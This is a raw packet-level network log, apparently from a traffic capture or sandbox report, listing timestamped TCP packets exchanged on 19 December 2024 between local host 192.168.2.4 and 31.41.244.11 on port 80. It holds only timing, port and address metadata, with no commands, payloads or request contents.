Dec 19, 2024 20:11:38.740866899 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.741683006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.741777897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.741808891 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.742841959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.743010044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.743040085 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.743335009 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.743983030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.744079113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.744133949 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.744133949 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.745302916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.745405912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.745767117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.746167898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.746332884 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.746603966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.747309923 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.747423887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.747488022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.747488976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.748661041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.748775959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.748848915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.748848915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.749572992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.749742985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.749768019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.750017881 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.750714064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.750838041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.750864983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.751171112 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.751835108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.751966000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.751996994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.752932072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.752960920 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.753022909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.753096104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.753545046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.754133940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.754215956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.754342079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.755173922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.755297899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.755333900 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.756311893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.756411076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.756442070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.756608963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.757466078 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.757612944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.757643938 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.758141994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.758613110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.758784056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.758788109 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.758868933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.759712934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.759808064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.759838104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.760019064 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.760889053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.760988951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.762022018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.762051105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.762109995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.762228012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.763096094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.763185978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.763238907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.763238907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.764319897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.764383078 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.764413118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.764518023 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.765310049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.765451908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.765697956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.766407013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.766558886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.766587973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.767539978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.767649889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.767663956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.767755985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.768727064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.768851042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.769509077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.769803047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.769910097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.769968987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.769995928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.770917892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.771023989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.771075964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.771198988 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.772126913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.772294044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.772325993 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.772660971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.773211002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.773322105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.773680925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.774369001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.774441004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.774471045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.775446892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.775562048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.775578022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.775705099 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.776540995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.776667118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.776695013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.777688026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.777812958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.777846098 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.778136015 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.778801918 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.778960943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.778995037 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.779937029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.780044079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.913441896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.913538933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.913606882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.913944960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.914026976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.914092064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.914123058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.914164066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.914836884 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.914938927 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.914958954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.915019989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.916018963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.916121006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.916152954 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.916591883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.917150021 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.917232037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.917592049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.918258905 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.918339014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.918371916 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.918467045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.919337988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.919451952 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.919526100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.920489073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.920608044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.920841932 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.921612024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.921734095 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.921936035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.922280073 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.922724009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.922802925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.922863960 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.923008919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.923868895 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.923998117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.924001932 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.924079895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.924973965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.925066948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.925084114 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.925127983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.926146984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.926235914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.926268101 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.926980019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.927248955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.927402020 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.927432060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.927795887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.928380966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.928510904 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.928525925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.928641081 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.929584980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.929666042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.929682016 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.929737091 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.930670023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.930689096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.930762053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.931708097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.931811094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.931840897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.931936026 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.932864904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.932966948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.932998896 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.933074951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.933974981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.934108019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.934864998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.935106039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.935220003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.935252905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.936227083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.936258078 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.936357021 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.936363935 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.936474085 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.937422037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.937480927 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.937504053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.937577963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.938478947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.938580036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.938637972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.939593077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.939621925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.939723969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.939876080 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.940742970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.940849066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.940865993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.940942049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.941857100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.941975117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.942008018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.942749023 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.943048000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.943115950 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.943146944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.943398952 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.944086075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.944192886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.944211960 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.944286108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.945225954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.945328951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.945404053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.945456028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.946307898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.946423054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.946511984 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.947452068 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.947556973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.947561026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.947773933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.948577881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.948684931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.948723078 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.949697971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.949737072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.949795961 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.950834990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.950869083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.950927973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.951978922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.952009916 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.952188969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.952322006 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.953084946 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.953155994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.953187943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.953346968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.954206944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.954307079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.954339027 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.954430103 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.955359936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.955457926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.955466986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.955760002 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.956480980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.956607103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.956640005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.956727982 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.957596064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.957746983 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.957921982 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.958715916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.958838940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.958853960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.958955050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.959841013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.959939957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.959948063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.960068941 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.960980892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.961090088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.961096048 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.961383104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.962083101 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.962177038 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.962851048 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.963217020 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.963359118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.963368893 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.963682890 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.964436054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.964489937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.964523077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.964677095 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.965502977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.965760946 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.965771914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.966097116 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.966682911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.966766119 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.966797113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.967729092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.967825890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.967856884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.968502045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.968833923 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.969006062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.969069004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.969069004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.970025063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.970077038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.970097065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.970225096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.971069098 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.971164942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.971189022 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.971364021 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.972218037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.972309113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.105894089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.106023073 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.106086969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.106195927 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.106502056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.106569052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.106580019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.107523918 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.107666016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.107696056 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.108093977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.108665943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.108769894 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.108798027 CET	49842	80	192.168.2.4	31.41.244.11
